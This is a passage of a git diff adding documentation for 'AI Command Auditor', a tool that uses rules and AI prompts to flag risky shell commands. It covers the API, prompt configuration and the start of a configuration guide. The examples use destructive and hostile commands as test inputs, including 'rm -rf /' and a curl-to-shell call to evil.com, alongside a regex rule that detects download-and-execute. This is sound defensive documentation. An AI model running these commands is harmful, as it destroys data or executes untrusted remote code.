RiskLevel.MEDIUM] + + def has_critical_issues(self) -> bool: + """Check if any critical issues were found.""" + return any(issue.severity == Severity.CRITICAL for issue in self.issues) + + def get_fix_suggestions(self) -> List[str]: + """Get automated fix suggestions.""" + return [issue.fix_suggestion for issue in self.issues if issue.fix_suggestion] +``` + +**Example:** + +```python +result = auditor.check_command("rm -rf /") + +# Check safety +if result.is_safe(): + print("Command is safe to execute") +else: + print(f"Command has {result.risk_level} risk") + +# Handle critical issues +if result.has_critical_issues(): + print("Critical security issues found!") + for issue in result.issues: + if issue.severity == Severity.CRITICAL: + print(f"CRITICAL: {issue.description}") + +# Get fix suggestions +fixes = result.get_fix_suggestions() +if fixes: + print("Suggested fixes:") + for fix in fixes: + print(f"- {fix}") +``` + +### SecurityIssue + +Represents a security issue found during analysis. + +```python +@dataclass +class SecurityIssue: + """Represents a security issue found in command analysis.""" + + issue_id: str + description: str + severity: Severity + category: str + line_number: Optional[int] + rule_triggered: Optional[str] + fix_suggestion: Optional[str] + explanation: str + confidence: float +``` + +### Configuration + +Manage auditor configuration programmatically. + +```python +class Configuration: + """Configuration management for AI Command Auditor.""" + + def __init__(self, config_path: Optional[str] = None): + """Initialize configuration.""" + + def get(self, key: str, default: Any = None) -> Any: + """Get configuration value.""" + + def set(self, key: str, value: Any) -> None: + """Set configuration value.""" + + def load_from_file(self, file_path: str) -> None: + """Load configuration from file.""" + + def save_to_file(self, file_path: str) -> None: + """Save configuration to file.""" +``` + +**Example:** + +```python +from ai_command_auditor import Configuration + +config = Configuration() + +# Get/set values +security_level = config.get("security.level", "standard") +config.set("ai.provider", "openai") +config.set("ai.model", "gpt-4") + +# Save configuration +config.save_to_file(".ai-auditor/config/my-config.yml") + +# Use with auditor +auditor = CommandAuditor(config=config) +``` + +## ๐Ÿ”ง Security Rules API + +### RuleEngine + +Manage and execute security rules. + +```python +class RuleEngine: + """Security rules engine for pattern-based validation.""" + + def __init__(self, rules_path: Optional[str] = None): + """Initialize rules engine.""" + + def load_rules(self, rules_path: str) -> None: + """Load rules from file.""" + + def add_rule(self, rule: SecurityRule) -> None: + """Add a new security rule.""" + + def remove_rule(self, rule_id: str) -> None: + """Remove a security rule.""" + + def check_command(self, command: str) -> List[RuleMatch]: + """Check command against all rules.""" + + def validate_rules(self) -> List[ValidationError]: + """Validate all loaded rules.""" +``` + +**Example:** + +```python +from ai_command_auditor import RuleEngine, SecurityRule + +rule_engine = RuleEngine() + +# Create custom rule +custom_rule = SecurityRule( + id="dangerous_curl", + pattern=r"curl.*\|\s*(sh|bash)", + severity=Severity.CRITICAL, + message="Downloading and executing scripts is dangerous", + category="network_security" +) + +rule_engine.add_rule(custom_rule) + +# Check command against rules +matches = rule_engine.check_command("curl http://evil.com | sh") +for match in matches: + print(f"Rule triggered: {match.rule_id}") + print(f"Severity: {match.severity}") +``` + +### SecurityRule + +Define custom security rules. + +```python +@dataclass +class SecurityRule: + """Security rule definition.""" + + id: str + pattern: str + severity: Severity + message: str + category: str + enabled: bool = True + environments: Optional[List[str]] = None + file_types: Optional[List[str]] = None + explanation: Optional[str] = None + examples: Optional[List[str]] = None + + def matches(self, command: str, context: Optional[Dict] = None) -> bool: + """Check if rule matches command.""" + + def validate(self) -> List[str]: + """Validate rule definition.""" +``` + +## ๐Ÿค– AI Integration API + +### AIProvider + +Interface for AI providers. + +```python +from ai_command_auditor.ai import OpenAIProvider, AnthropicProvider + +# OpenAI provider +openai_provider = OpenAIProvider( + api_key="your-api-key", + model="gpt-4", + temperature=0.1 +) + +# Anthropic provider +anthropic_provider = AnthropicProvider( + api_key="your-api-key", + model="claude-3-sonnet", + temperature=0.1 +) + +# Use with auditor +auditor = CommandAuditor(ai_provider=openai_provider) +``` + +### PromptManager + +Manage AI prompts. + +```python +class PromptManager: + """Manage AI prompts for different analysis types.""" + + def __init__(self, prompts_path: Optional[str] = None): + """Initialize prompt manager.""" + + def load_prompt(self, prompt_name: str) -> AIPrompt: + """Load a specific prompt.""" + + def create_prompt(self, name: str, template: str, **kwargs) -> AIPrompt: + """Create a new prompt.""" + + def list_prompts(self) -> List[str]: + """List available prompts.""" +``` + +**Example:** + +```python +from ai_command_auditor import PromptManager + +prompt_mgr = PromptManager() + +# List available prompts +prompts = prompt_mgr.list_prompts() +print(f"Available prompts: {prompts}") + +# Load specific prompt +security_prompt = prompt_mgr.load_prompt("security-analysis") + +# Create custom prompt +custom_prompt = prompt_mgr.create_prompt( + name="custom-python", + template=""" + Analyze this Python command for security issues: + Command: {command} + + Focus on: + - Package security + - Import safety + - Execution risks + """ +) +``` + +## ๐Ÿ“Š Reporting API + +### ReportGenerator + +Generate analysis reports. + +```python +class ReportGenerator: + """Generate reports from audit results.""" + + def __init__(self, auditor: CommandAuditor): + """Initialize report generator.""" + + def generate_security_report( + self, + results: List[AuditResult], + format: str = "html" + ) -> str: + """Generate security analysis report.""" + + def generate_compliance_report( + self, + results: List[AuditResult], + standards: List[str] + ) -> str: + """Generate compliance report.""" + + def generate_trend_analysis( + self, + historical_data: List[AuditResult], + period_days: int = 30 + ) -> Dict[str, Any]: + """Generate trend analysis.""" +``` + +**Example:** + +```python +from ai_command_auditor import ReportGenerator + +# Analyze multiple commands +commands = ["sudo rm -rf /", "pip install requests", "docker run alpine"] +results = [auditor.check_command(cmd) for cmd in commands] + +# Generate reports +report_gen = ReportGenerator(auditor) + +# HTML security report +html_report = report_gen.generate_security_report(results, format="html") +with open("security_report.html", "w") as f: + f.write(html_report) + +# Compliance report +compliance_report = report_gen.generate_compliance_report( + results, + standards=["SOX", "GDPR"] +) + +# Trend analysis +trend_data = report_gen.generate_trend_analysis(historical_results) +print(f"Security trend: {trend_data['trend_direction']}") +``` + +## ๐Ÿ”— Integration Helpers + +### GitHookIntegration + +Integrate with git hooks. + +```python +class GitHookIntegration: + """Git hooks integration for automatic validation.""" + + def __init__(self, auditor: CommandAuditor): + """Initialize git integration.""" + + def setup_pre_commit_hook(self) -> None: + """Setup pre-commit hook.""" + + def setup_pre_push_hook(self) -> None: + """Setup pre-push hook.""" + + def validate_commit_commands(self, commit_sha: str) -> List[AuditResult]: + """Validate commands in a commit.""" +``` + +### CIIntegration + +CI/CD pipeline integration. + +```python +class CIIntegration: + """CI/CD integration helpers.""" + + @staticmethod + def analyze_pipeline_script(script_path: str) -> Dict[str, Any]: + """Analyze CI/CD pipeline script.""" + + @staticmethod + def fail_on_critical_issues(results: List[AuditResult]) -> None: + """Fail CI if critical issues found.""" + + @staticmethod + def generate_ci_report(results: List[AuditResult]) -> str: + """Generate CI-friendly report.""" +``` + +**Example:** + +```python +from ai_command_auditor import CIIntegration + +# In CI pipeline +results = auditor.analyze_script("ci-deploy.sh") + +# Fail if critical issues +try: + CIIntegration.fail_on_critical_issues(results.to_audit_results()) + print("โœ… Security validation passed") +except SecurityViolationError as e: + print(f"โŒ Security validation failed: {e}") + exit(1) + +# Generate CI report +report = CIIntegration.generate_ci_report(results.to_audit_results()) +print(report) +``` + +## ๐ŸŽฏ Advanced Usage Patterns + +### Custom Analysis Pipeline + +```python +from ai_command_auditor import CommandAuditor, RuleEngine, PromptManager + +class CustomAuditor: + """Custom auditor with specialized analysis.""" + + def __init__(self): + self.auditor = CommandAuditor() + self.rule_engine = RuleEngine() + self.prompt_mgr = PromptManager() + + # Load custom rules + self.rule_engine.load_rules("./custom-rules.yml") + + def analyze_with_context(self, command: str, project_type: str) -> AuditResult: + """Analyze command with project-specific context.""" + + # Select prompt based on project type + prompt_map = { + "python": "python-security", + "nodejs": "web-development", + "devops": "infrastructure-security" + } + + prompt_name = prompt_map.get(project_type, "general-analysis") + + # Run analysis + result = self.auditor.check_command( + command, + context={"project_type": project_type}, + prompt_name=prompt_name + ) + + # Add custom processing + if project_type == "python" and "pip install" in command: + result = self._enhance_python_analysis(result, command) + + return result + + def _enhance_python_analysis(self, result: AuditResult, command: str) -> AuditResult: + """Add Python-specific analysis enhancements.""" + # Custom logic for Python package analysis + return result +``` + +### Async Analysis + +```python +import asyncio +from ai_command_auditor import AsyncCommandAuditor + +async def analyze_commands_async(): + """Analyze commands asynchronously.""" + + auditor = AsyncCommandAuditor() + + commands = [ + "rm -rf temp/", + "sudo apt update", + "pip install requests", + "docker run alpine" + ] + + # Analyze all commands concurrently + tasks = [auditor.check_command(cmd) for cmd in commands] + results = await asyncio.gather(*tasks) + + for i, result in enumerate(results): + print(f"Command {i+1}: {result.risk_level}") + + await auditor.close() + +# Run async analysis +asyncio.run(analyze_commands_async()) +``` + +### Real-time Monitoring + +```python +from ai_command_auditor import CommandMonitor +import time + +class SecurityMonitor: + """Real-time security monitoring.""" + + def __init__(self): + self.monitor = CommandMonitor() + self.auditor = CommandAuditor() + + def start_monitoring(self): + """Start monitoring command execution.""" + + self.monitor.on_command_executed = self._on_command + self.monitor.start() + + def _on_command(self, command: str, context: dict): + """Handle executed command.""" + + result = self.auditor.check_command(command, context) + + if result.has_critical_issues(): + self._alert_security_team(command, result) + + # Log all commands + self._log_command_analysis(command, result) + + def _alert_security_team(self, command: str, result: AuditResult): + """Send security alert.""" + print(f"๐Ÿšจ SECURITY ALERT: {command}") + print(f"Risk Level: {result.risk_level}") + + def _log_command_analysis(self, command: str, result: AuditResult): + """Log command analysis.""" + timestamp = time.strftime("%Y-%m-%d %H:%M:%S") + print(f"[{timestamp}] {command} -> {result.risk_level}") + +# Start monitoring +monitor = SecurityMonitor() +monitor.start_monitoring() +``` + +## ๐Ÿ”ง Configuration Examples + +### Environment-Specific Configuration + +```python +from ai_command_auditor import CommandAuditor, Configuration + +def create_production_auditor(): + """Create auditor configured for production.""" + + config = Configuration() + + # Strict security settings + config.set("security.level", "strict") + config.set("security.block_critical", True) + config.set("security.require_approval", True) + + # Conservative AI settings + config.set("ai.temperature", 0.1) + config.set("ai.model", "gpt-4") + + # Enable comprehensive logging + config.set("logging.level", "info") + config.set("logging.audit_trail", True) + + return CommandAuditor(config=config) + +def create_development_auditor(): + """Create auditor configured for development.""" + + config = Configuration() + + # Relaxed security settings + config.set("security.level", "standard") + config.set("security.block_critical", False) + config.set("security.show_warnings", True) + + # Faster AI settings + config.set("ai.temperature", 0.3) + config.set("ai.model", "gpt-3.5-turbo") + + return CommandAuditor(config=config) + +# Use environment-specific auditor +env = os.getenv("ENVIRONMENT", "development") +if env == "production": + auditor = create_production_auditor() +else: + auditor = create_development_auditor() +``` + +## โŒ Error Handling + +### Exception Classes + +```python +from ai_command_auditor.exceptions import ( + CommandValidationError, + AIAnalysisError, + ConfigurationError, + SecurityViolationError, + RuleValidationError +) + +try: + result = auditor.check_command("invalid command") +except CommandValidationError as e: + print(f"Invalid command: {e}") +except AIAnalysisError as e: + print(f"AI analysis failed: {e}") +except ConfigurationError as e: + print(f"Configuration error: {e}") +except SecurityViolationError as e: + print(f"Security violation: {e}") + # Handle critical security issue +except Exception as e: + print(f"Unexpected error: {e}") +``` + +### Graceful Degradation + +```python +def safe_analysis(command: str) -> AuditResult: + """Analyze command with fallback on errors.""" + + try: + # Try full AI analysis + return auditor.check_command(command) + except AIAnalysisError: + # Fallback to rule-based analysis only + rule_engine = RuleEngine() + matches = rule_engine.check_command(command) + + # Create basic result from rules + return AuditResult.from_rule_matches(command, matches) + except Exception: + # Ultimate fallback - basic safety check + return AuditResult.create_unknown(command) +``` + +## ๐Ÿ“š Type Annotations + +```python +from typing import Optional, List, Dict, Any, Union +from ai_command_auditor.types import ( + RiskLevel, + Severity, + SecurityIssue, + AuditResult, + ScriptAuditResult +) + +def analyze_batch( + auditor: CommandAuditor, + commands: List[str], + context: Optional[Dict[str, Any]] = None +) -> List[AuditResult]: + """Type-annotated batch analysis function.""" + + results: List[AuditResult] = [] + + for command in commands: + result: AuditResult = auditor.check_command(command, context) + results.append(result) + + return results +``` + +## ๐Ÿงช Testing + +### Unit Testing + +```python +import unittest +from ai_command_auditor import CommandAuditor +from ai_command_auditor.testing import MockAIProvider + +class TestCommandAuditor(unittest.TestCase): + """Test command auditor functionality.""" + + def setUp(self): + # Use mock AI provider for testing + mock_provider = MockAIProvider() + self.auditor = CommandAuditor(ai_provider=mock_provider) + + def test_safe_command(self): + """Test analysis of safe command.""" + result = self.auditor.check_command("ls -la") + self.assertEqual(result.risk_level, RiskLevel.LOW) + self.assertTrue(result.is_safe()) + + def test_dangerous_command(self): + """Test analysis of dangerous command.""" + result = self.auditor.check_command("rm -rf /") + self.assertEqual(result.risk_level, RiskLevel.CRITICAL) + self.assertTrue(result.has_critical_issues()) + + def test_batch_analysis(self): + """Test batch command analysis.""" + commands = ["ls", "rm -rf /tmp", "sudo reboot"] + results = self.auditor.batch_analyze(commands) + self.assertEqual(len(results), 3) +``` + +### Integration Testing + +```python +from ai_command_auditor.testing import create_test_auditor + +def test_real_ai_integration(): + """Test with real AI provider (requires API key).""" + + if not os.getenv("OPENAI_API_KEY"): + pytest.skip("No API key for integration test") + + auditor = create_test_auditor(provider="openai") + result = auditor.check_command("rm -rf /") + + assert result.risk_level == RiskLevel.CRITICAL + assert len(result.issues) > 0 +``` + +## ๐Ÿ“– Next Steps + +- ๐Ÿ”— [Integration Guide](/api/integration/) - Integrate with your applications +- ๐ŸŽฏ [Examples](/examples/) - Practical implementation examples +- ๐Ÿ”ง [CLI Reference](/api/cli/) - Command-line interface +- ๐Ÿ†˜ [Troubleshooting](/support/troubleshooting/) - Common issues and solutions + + diff --git a/docs/configuration/ai-prompts.md b/docs/configuration/ai-prompts.md new file mode 100644 index 0000000..2c1a966 --- /dev/null +++ b/docs/configuration/ai-prompts.md @@ -0,0 +1,758 @@ +--- +layout: single +title: "AI Prompts Configuration" +description: "Configure and customize AI analysis prompts" +toc: true +toc_label: "AI Prompts" +toc_icon: "brain" +sidebar: + nav: "docs" +--- + +# ๐Ÿง  AI Prompts Configuration + +AI prompts control how the AI analyzes commands, providing context, instructions, and guidelines for intelligent command validation. Customizing prompts allows you to tailor AI behavior for your specific domain, security requirements, and use cases. + +## ๐Ÿ“‹ Overview + +AI prompts work alongside security rules to provide comprehensive command analysis: + +- **Context Setting**: Provide domain-specific context for analysis +- **Instruction Clarity**: Clear guidelines for what to look for +- **Output Formatting**: Structured responses for consistent processing +- **Domain Expertise**: Specialized knowledge for different fields +- **Customization**: Adapt AI behavior to your specific needs + +## ๐Ÿ—๏ธ Prompt Structure + +AI prompts are organized in the `.ai-auditor/config/prompts/` directory: + +``` +.ai-auditor/config/prompts/ +โ”œโ”€โ”€ analysis-prompt.yml # General command analysis +โ”œโ”€โ”€ security-prompt.yml # Security-focused analysis +โ”œโ”€โ”€ performance-prompt.yml # Performance analysis +โ”œโ”€โ”€ custom-prompts.yml # Your custom prompts +โ””โ”€โ”€ domain-specific/ + โ”œโ”€โ”€ python-prompt.yml # Python development + โ”œโ”€โ”€ devops-prompt.yml # DevOps and infrastructure + โ”œโ”€โ”€ web-dev-prompt.yml # Web development + โ””โ”€โ”€ data-science-prompt.yml # Data science workflows +``` + +## ๐Ÿ“ Prompt Configuration Format + +### Basic Prompt Structure + +```yaml +# analysis-prompt.yml +version: "1.0" +metadata: + name: "General Command Analysis" + description: "General purpose command analysis prompt" + model_compatibility: ["gpt-4", "gpt-3.5-turbo", "claude-3"] + +prompts: + primary: + system_message: | + You are an expert security analyst specializing in command-line security. + Analyze commands for potential security risks, performance issues, and best practices. + + user_template: | + Please analyze this command for security and safety: + + Command: {command} + Context: {context} + Environment: {environment} + + Provide analysis in this format: + - Risk Level: [low/medium/high/critical] + - Safety Score: [0-100] + - Issues Found: [list of specific issues] + - Recommendations: [specific actionable advice] + - Explanation: [detailed reasoning] + + examples: + - command: "rm -rf /" + expected_response: | + Risk Level: critical + Safety Score: 0 + Issues Found: Destructive command that would delete entire filesystem + Recommendations: Never run this command; use specific file paths + Explanation: This command recursively deletes all files starting from root +``` + +### Advanced Prompt Configuration + +```yaml +# security-prompt.yml +version: "1.0" +metadata: + name: "Security-Focused Analysis" + description: "Enhanced security analysis with threat modeling" + tags: ["security", "threat-analysis", "compliance"] + +configuration: + model_settings: + temperature: 0.1 # Low creativity for consistent security analysis + max_tokens: 1000 # Detailed responses + top_p: 0.9 # Focus on high-probability tokens + + analysis_depth: "comprehensive" + focus_areas: + - "privilege_escalation" + - "data_exfiltration" + - "system_modification" + - "network_security" + - "code_injection" + +prompts: + primary: + system_message: | + You are a cybersecurity expert with deep knowledge of: + - Common attack vectors and exploitation techniques + - Security best practices and compliance requirements + - System administration and DevSecOps + - Threat modeling and risk assessment + + Analyze commands with extreme attention to security implications. + Consider both obvious and subtle security risks. + + user_template: | + SECURITY ANALYSIS REQUEST + ======================== + + Command: {command} + User Context: {user_role} + Environment: {environment} + System Info: {system_info} + Previous Commands: {command_history} + + REQUIRED ANALYSIS: + 1. Threat Assessment + - Immediate risks + - Potential attack vectors + - Privilege implications + + 2. Security Violations + - Policy violations + - Compliance issues + - Best practice deviations + + 3. Risk Mitigation + - Safer alternatives + - Required precautions + - Monitoring recommendations + + FORMAT RESPONSE AS JSON: + { + "threat_level": "low|medium|high|critical", + "confidence": 0-100, + "immediate_risks": ["list of immediate threats"], + "attack_vectors": ["potential exploitation methods"], + "policy_violations": ["security policy violations"], + "mitigation_strategies": ["specific countermeasures"], + "safer_alternatives": ["alternative commands"], + "monitoring_required": ["what to monitor"], + "explanation": "detailed technical analysis" + } + + fallback_prompt: | + Analyze this command for security risks: {command} + Provide risk level and explanation. +``` + +## ๐ŸŽฏ Prompt Types and Use Cases + +### Analysis Prompts + +General command analysis for everyday use: + +```yaml +# analysis-prompt.yml +general_analysis: + focus: "balanced analysis of security, performance, and best practices" + system_message: | + You are an experienced systems administrator and security professional. + Analyze commands for potential issues while considering practical usage. + + template: | + Command to analyze: {command} + + Please evaluate: + 1. Security implications + 2. Performance impact + 3. Best practice compliance + 4. Alternative approaches + + Provide clear, actionable feedback. +``` + +### Security Prompts + +Enhanced security analysis for high-security environments: + +```yaml +# security-prompt.yml +security_analysis: + focus: "comprehensive security threat assessment" + system_message: | + You are a security analyst in a high-security environment. + Every command must be scrutinized for potential security implications. + Consider advanced threats, insider risks, and compliance requirements. + + template: | + SECURITY REVIEW REQUIRED + Command: {command} + Classification Level: {security_level} + + Assess for: + - Advanced persistent threats + - Insider threat indicators + - Compliance violations + - Data protection risks + - Supply chain security +``` + +### Performance Prompts + +Performance and efficiency analysis: + +```yaml +# performance-prompt.yml +performance_analysis: + focus: "command efficiency and system performance impact" + system_message: | + You are a performance engineering expert. + Analyze commands for efficiency, resource usage, and optimization opportunities. + + template: | + Performance Review: {command} + + Analyze: + 1. Resource consumption (CPU, memory, I/O) + 2. Execution efficiency + 3. Scalability implications + 4. Optimization opportunities + 5. Alternative implementations +``` + +## ๐Ÿ”ง Domain-Specific Prompts + +### Python Development + +```yaml +# python-prompt.yml +python_analysis: + metadata: + domain: "python_development" + expertise: ["python", "pip", "virtual_environments", "security"] + + system_message: | + You are a Python security expert with deep knowledge of: + - Python package ecosystem and PyPI security + - Virtual environment best practices + - Common Python security vulnerabilities + - Python development workflows and tooling + + template: | + Python Command Analysis: {command} + Project Context: {project_type} + + Evaluate for Python-specific concerns: + - Package security and authenticity + - Virtual environment isolation + - Dependency management risks + - Python execution safety + - Development workflow security + + Consider Python-specific threats: + - Malicious packages + - Dependency confusion + - Code injection via imports + - Pickle/deserialization risks +``` + +### DevOps and Infrastructure + +```yaml +# devops-prompt.yml +devops_analysis: + metadata: + domain: "devops_infrastructure" + expertise: ["docker", "kubernetes", "ci_cd", "infrastructure"] + + system_message: | + You are a DevOps security specialist with expertise in: + - Container security and Docker best practices + - Infrastructure as Code security + - CI/CD pipeline security + - Cloud security and compliance + - Kubernetes security + + template: | + Infrastructure Command Review: {command} + Environment: {infrastructure_env} + Pipeline Stage: {ci_cd_stage} + + Assess for DevOps security: + - Container security implications + - Infrastructure drift risks + - CI/CD security boundaries + - Cloud permission escalation + - Supply chain integrity + + Consider infrastructure threats: + - Container escapes + - Privilege escalation + - Secret exposure + - Network security +``` + +### Web Development + +```yaml +# web-dev-prompt.yml +web_development_analysis: + metadata: + domain: "web_development" + expertise: ["npm", "node", "web_security", "frontend", "backend"] + + system_message: | + You are a web application security expert with knowledge of: + - Frontend and backend security best practices + - npm ecosystem security + - Web application vulnerabilities + - API security and authentication + - Modern web development frameworks + + template: | + Web Development Command: {command} + Tech Stack: {web_stack} + + Review for web-specific security: + - npm package security + - Frontend build security + - API endpoint exposure + - Authentication/authorization + - Cross-site security + + Web security considerations: + - XSS and injection risks + - CSRF vulnerabilities + - Dependency vulnerabilities + - Build process security +``` + +### Data Science + +```yaml +# data-science-prompt.yml +data_science_analysis: + metadata: + domain: "data_science" + expertise: ["jupyter", "pandas", "machine_learning", "data_privacy"] + + system_message: | + You are a data science security specialist with expertise in: + - Jupyter notebook security + - Data privacy and protection + - Machine learning pipeline security + - Statistical analysis security + - Research data handling + + template: | + Data Science Command: {command} + Data Sensitivity: {data_classification} + + Evaluate for data science risks: + - Data privacy violations + - Jupyter security issues + - Package authenticity + - Model security + - Research reproducibility + + Data science threats: + - Data exfiltration + - Model poisoning + - Notebook execution risks + - Dependency vulnerabilities +``` + +## ๐Ÿ› ๏ธ Custom Prompt Development + +### Creating Custom Prompts + +```yaml +# custom-prompts.yml +company_specific: + metadata: + name: "Company XYZ Security Analysis" + version: "2.1" + compliance: ["SOX", "GDPR", "HIPAA"] + + system_message: | + You are a security analyst for Company XYZ with knowledge of: + - Company-specific security policies + - Industry compliance requirements + - Internal tool usage guidelines + - Approved software and procedures + + template: | + Company Security Review: {command} + Employee Role: {user_role} + Department: {department} + Compliance Context: {compliance_requirements} + + Check against company policies: + - Approved software usage + - Data handling procedures + - Access control requirements + - Audit trail compliance + + Company-specific considerations: + - Internal tool restrictions + - Data classification rules + - Vendor approval status + - Incident response procedures +``` + +### Prompt Variables and Context + +Available variables for prompt templates: + +| Variable | Description | Example | +|----------|-------------|---------| +| `{command}` | The command being analyzed | `rm -rf temp/` | +| `{context}` | Additional context information | Project directory, git status | +| `{environment}` | Runtime environment | development, staging, production | +| `{user_role}` | User's role or permissions | developer, admin, guest | +| `{project_type}` | Type of project | python, nodejs, rust | +| `{security_level}` | Required security level | basic, standard, strict | +| `{compliance_requirements}` | Applicable compliance standards | GDPR, HIPAA, SOX | +| `{command_history}` | Previous commands (optional) | Last 5 commands | +| `{system_info}` | System information | OS, architecture | +| `{file_context}` | File being operated on | File type, permissions | + +## โš™๏ธ Prompt Configuration Management + +### Selecting Active Prompts + +```yaml +# In auditor.yml +ai: + prompts: + primary: "security-prompt" # Main prompt to use + fallback: "analysis-prompt" # Backup if primary fails + domain_specific: true # Enable domain-specific prompts + + prompt_selection: + auto_detect: true # Auto-select based on context + user_override: true # Allow user to specify prompt + + context_mapping: + python_files: "python-prompt" + shell_scripts: "security-prompt" + ci_cd: "devops-prompt" + default: "analysis-prompt" +``` + +### Dynamic Prompt Selection + +```bash +# Use specific prompt for command +ai-auditor check-command "pip install package" --prompt python-analysis + +# Set default prompt for session +ai-auditor config set ai.prompts.primary "security-prompt" + +# List available prompts +ai-auditor prompts list + +# Validate prompt configuration +ai-auditor prompts validate +``` + +## ๐ŸŽจ Prompt Engineering Best Practices + +### Writing Effective Prompts + +1. **Be Specific**: Clear, unambiguous instructions +2. **Provide Context**: Include relevant background information +3. **Use Examples**: Show expected input/output patterns +4. **Structure Output**: Request consistent, parseable responses +5. **Consider Edge Cases**: Handle unusual or malformed commands + +### Prompt Optimization + +```yaml +# Example of well-structured prompt +optimized_prompt: + system_message: | + ROLE: You are a cybersecurity expert and systems administrator + + EXPERTISE: + - Command-line security analysis + - System administration best practices + - Threat detection and assessment + + GUIDELINES: + - Analyze commands for security risks + - Provide specific, actionable recommendations + - Consider context and environment + - Be concise but thorough + + template: | + TASK: Analyze the following command for security implications + + COMMAND: {command} + CONTEXT: {context} + + REQUIRED OUTPUT: + 1. Risk Level: [critical/high/medium/low] + 2. Primary Concerns: [list top 3 issues] + 3. Recommendations: [specific actions to take] + 4. Explanation: [brief technical reasoning] + + CONSTRAINTS: + - Response must be under 500 words + - Focus on actionable insights + - Use clear, technical language +``` + +### Testing and Validation + +```bash +# Test prompt with sample commands +ai-auditor test-prompt security-prompt "rm -rf /" + +# Compare prompt responses +ai-auditor compare-prompts analysis-prompt security-prompt "sudo command" + +# Analyze prompt performance +ai-auditor prompt-metrics security-prompt +``` + +## ๐Ÿ“Š Prompt Performance and Analytics + +### Monitoring Prompt Effectiveness + +```yaml +# Enable prompt analytics +analytics: + prompt_performance: true + response_quality: true + accuracy_tracking: true + +metrics: + track_accuracy: true + false_positive_rate: true + response_time: true + user_satisfaction: true +``` + +### Prompt A/B Testing + +```yaml +# A/B test configuration +ab_testing: + enabled: true + tests: + security_analysis: + prompt_a: "security-prompt-v1" + prompt_b: "security-prompt-v2" + split_ratio: 50 + metrics: ["accuracy", "false_positives", "response_time"] +``` + +## ๐Ÿ”„ Prompt Versioning and Management + +### Version Control + +```yaml +# Prompt versioning +version_control: + current_version: "2.1" + previous_versions: + - "2.0": "security-prompt-v2.0.yml" + - "1.5": "security-prompt-v1.5.yml" + + changelog: + "2.1": + - "Improved threat detection accuracy" + - "Added compliance context" + - "Optimized for GPT-4" + "2.0": + - "Major rewrite for better structure" + - "Added domain-specific analysis" +``` + +### Prompt Deployment + +```bash +# Deploy new prompt version +ai-auditor prompts deploy security-prompt-v2.1.yml + +# Rollback to previous version +ai-auditor prompts rollback security-prompt 2.0 + +# Compare prompt versions +ai-auditor prompts diff security-prompt-v2.0 security-prompt-v2.1 +``` + +## ๐Ÿ”— Integration with Security Rules + +### Combining Prompts and Rules + +```yaml +# Coordinated analysis configuration +analysis_strategy: + rule_first: true # Run rules before AI analysis + ai_context_from_rules: true # Provide rule results to AI + ai_override_rules: false # AI cannot override rule blocks + + escalation: + rule_uncertainty: "ask_ai" # Use AI when rules are uncertain + ai_disagreement: "warn" # Warn when AI disagrees with rules +``` + +### Rule-Informed Prompts + +```yaml +# Prompt that considers rule results +rule_informed_prompt: + template: | + Command: {command} + Rule Analysis Results: {rule_results} + + The automated rules have identified: {triggered_rules} + + Please provide additional analysis considering: + 1. Are the rule triggers accurate? + 2. Are there risks the rules missed? + 3. What additional context is relevant? + 4. How would you refine the analysis? +``` + +## ๐Ÿ“š Example Prompt Library + +### Quick Start Prompts + +```yaml +# Basic security prompt +basic_security: + template: "Analyze this command for security risks: {command}" + +# Development-friendly prompt +dev_friendly: + template: | + Command: {command} + + Quick security check - any major concerns? + Keep it brief and practical for development workflow. + +# Strict compliance prompt +strict_compliance: + template: | + COMPLIANCE ANALYSIS: {command} + Standards: {compliance_requirements} + + Full security and compliance review required. + Document all findings and recommendations. +``` + +## ๐Ÿ”ง Troubleshooting Prompts + +### Common Issues + +**Inconsistent Responses**: + +```yaml +# Solution: Add more structure and examples +structured_prompt: + template: | + Command: {command} + + Respond in exactly this format: + RISK: [critical/high/medium/low] + ISSUES: [specific problems found] + ACTIONS: [what to do about it] +``` + +**Too Verbose**: + +```yaml +# Solution: Add word limits and constraints +concise_prompt: + template: | + Command: {command} + + Brief analysis (under 100 words): + - Risk level and main concern + - One specific recommendation +``` + +**Missing Context**: + +```yaml +# Solution: Provide more context variables +contextual_prompt: + template: | + Analyzing: {command} + Project: {project_type} + Environment: {environment} + User: {user_role} + + Consider all context factors in analysis. +``` + +## ๐Ÿ“– Next Steps + +- ๐ŸŽฏ [See Prompts in Action](/examples/) - Practical examples +- ๐Ÿ›ก๏ธ [Security Rules](/configuration/security-rules/) - Combine with rules +- ๐ŸŽจ [Templates](/configuration/templates/) - Prompt templates +- ๐Ÿ”ง [CLI Reference](/api/cli/) - Command-line prompt management + + diff --git a/docs/configuration/index.md b/docs/configuration/index.md new file mode 100644 index 0000000..059762b --- /dev/null +++ b/docs/configuration/index.md @@ -0,0 +1,497 @@ +--- +layout: single +title: "Configuration" +description: "Configure AI Command Auditor for your specific needs" +toc: true +toc_label: "Configuration Topics" +toc_icon: "cog" +sidebar: + nav: "docs" +--- + +# โš™๏ธ Configuration Guide + +AI Command Auditor is highly configurable to fit your project's specific security and validation needs. This guide covers all configuration options, from basic setup to advanced customization. + +## ๐Ÿ—๏ธ Configuration Overview + +AI Command Auditor uses a hierarchical configuration system with the following structure: + +``` +.ai-auditor/ +โ”œโ”€โ”€ config/ +โ”‚ โ”œโ”€โ”€ auditor.yml # Main configuration +โ”‚ โ”œโ”€โ”€ rules/ +โ”‚ โ”‚ โ”œโ”€โ”€ security-rules.yml # Security validation rules +โ”‚ โ”‚ โ”œโ”€โ”€ performance-rules.yml # Performance rules +โ”‚ โ”‚ โ””โ”€โ”€ custom-rules.yml # Custom validation rules +โ”‚ โ”œโ”€โ”€ prompts/ +โ”‚ โ”‚ โ”œโ”€โ”€ analysis-prompt.yml # AI analysis prompts +โ”‚ โ”‚ โ”œโ”€โ”€ security-prompt.yml # Security-specific prompts +โ”‚ โ”‚ โ””โ”€โ”€ custom-prompts.yml # Custom AI prompts +โ”‚ โ””โ”€โ”€ templates/ +โ”‚ โ”œโ”€โ”€ python.yml # Python project template +โ”‚ โ”œโ”€โ”€ nodejs.yml # Node.js project template +โ”‚ โ”œโ”€โ”€ rust.yml # Rust project template +โ”‚ โ”œโ”€โ”€ general.yml # General purpose template +โ”‚ โ””โ”€โ”€ security.yml # Security-focused template +โ”œโ”€โ”€ logs/ +โ”‚ โ””โ”€โ”€ auditor.log # Application logs +โ””โ”€โ”€ hooks/ + โ”œโ”€โ”€ pre-commit # Git pre-commit hook + โ””โ”€โ”€ pre-push # Git pre-push hook +``` + +## ๐Ÿ“ Main Configuration (`auditor.yml`) + +The main configuration file controls core AI Command Auditor behavior: + +```yaml +# AI Configuration 